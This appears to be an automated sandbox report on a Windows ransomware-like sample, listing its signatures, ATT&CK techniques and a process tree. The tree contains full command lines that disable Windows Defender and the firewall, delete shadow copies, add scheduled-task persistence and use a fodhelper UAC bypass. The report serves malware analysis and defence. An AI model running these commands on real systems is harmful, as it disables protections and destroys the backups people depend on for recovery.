Analysis
- max time kernel
20s - max time network
160s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
04/05/2026, 07:45
General
- Target providenceresources.com_hyber.exe
- Size 51KB
- Sample260504-jletkses41
- SHA256 8d958f277df909637d78212813ad13d2201d50298f3f4f9a08277e7f7427ff12
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Drops file in Drivers directory 1 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Modifies Control Panel 1 IoCs
- Modifies data under HKEY_USERS 15 IoCs
- Modifies registry class 16 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 26 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe"C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe"1⤵
- Drops file in Drivers directory
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe"C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe"3⤵
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
-
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
-
C:\Windows\system32\whoami.exewhoami3⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
-
C:\Windows\system32\net.exenet user3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
-
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a1a855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exeC:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exeC:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
invoice_1.pdf
doc_3.pdf
providenceresources.com_hyber.exe.log
__PSScriptPolicyTest_tuxctfvq.stb.ps1
createshortcut.vbs
del.bat
makelnk.vbs
sysupdate.exe
memory/1240-2241-0x0000023524B30000-0x0000023524BCE000-memory.dmp
memory/1240-2242-0x00000235264F0000-0x00000235264FC000-memory.dmp
memory/2276-0-0x00000000007B0000-0x00000000007C4000-memory.dmp
memory/2276-2271-0x000000001D620000-0x000000001D632000-memory.dmp
memory/2276-161-0x0000000002BC0000-0x0000000002BCC000-memory.dmp
memory/2276-3-0x000000001DE50000-0x000000001E378000-memory.dmp
memory/2276-2-0x000000001DAD0000-0x000000001DC92000-memory.dmp
memory/2276-674-0x0000000002BD0000-0x0000000002BE0000-memory.dmp
memory/2276-1-0x0000000002BD0000-0x0000000002BE0000-memory.dmp
memory/3020-2257-0x0000022C32A80000-0x0000022C32A81000-memory.dmp
memory/3020-2277-0x0000022C32840000-0x0000022C328DE000-memory.dmp
memory/3188-657-0x0000022715240000-0x00000227152DE000-memory.dmp
memory/3832-23-0x0000027832690000-0x000002783269A000-memory.dmp
memory/3832-22-0x00000278325D0000-0x0000027832683000-memory.dmp
memory/3832-1996-0x000002781A080000-0x000002781A092000-memory.dmp
memory/3832-484-0x0000027832840000-0x000002783284A000-memory.dmp
memory/3832-423-0x0000027832830000-0x0000027832836000-memory.dmp
memory/3832-386-0x0000027832800000-0x0000027832808000-memory.dmp
memory/3832-26-0x0000027832850000-0x000002783286A000-memory.dmp
memory/3832-13-0x000002781A100000-0x000002781A122000-memory.dmp
memory/3832-25-0x00000278327F0000-0x00000278327FA000-memory.dmp
memory/3832-24-0x0000027832810000-0x000002783282C000-memory.dmp
memory/3832-1995-0x0000027818300000-0x000002781830C000-memory.dmp
memory/3832-21-0x00000278325B0000-0x00000278325CC000-memory.dmp
memory/4348-2268-0x000001C0403C0000-0x000001C0403CC000-memory.dmp
memory/4348-2267-0x000001C040190000-0x000001C04022E000-memory.dmp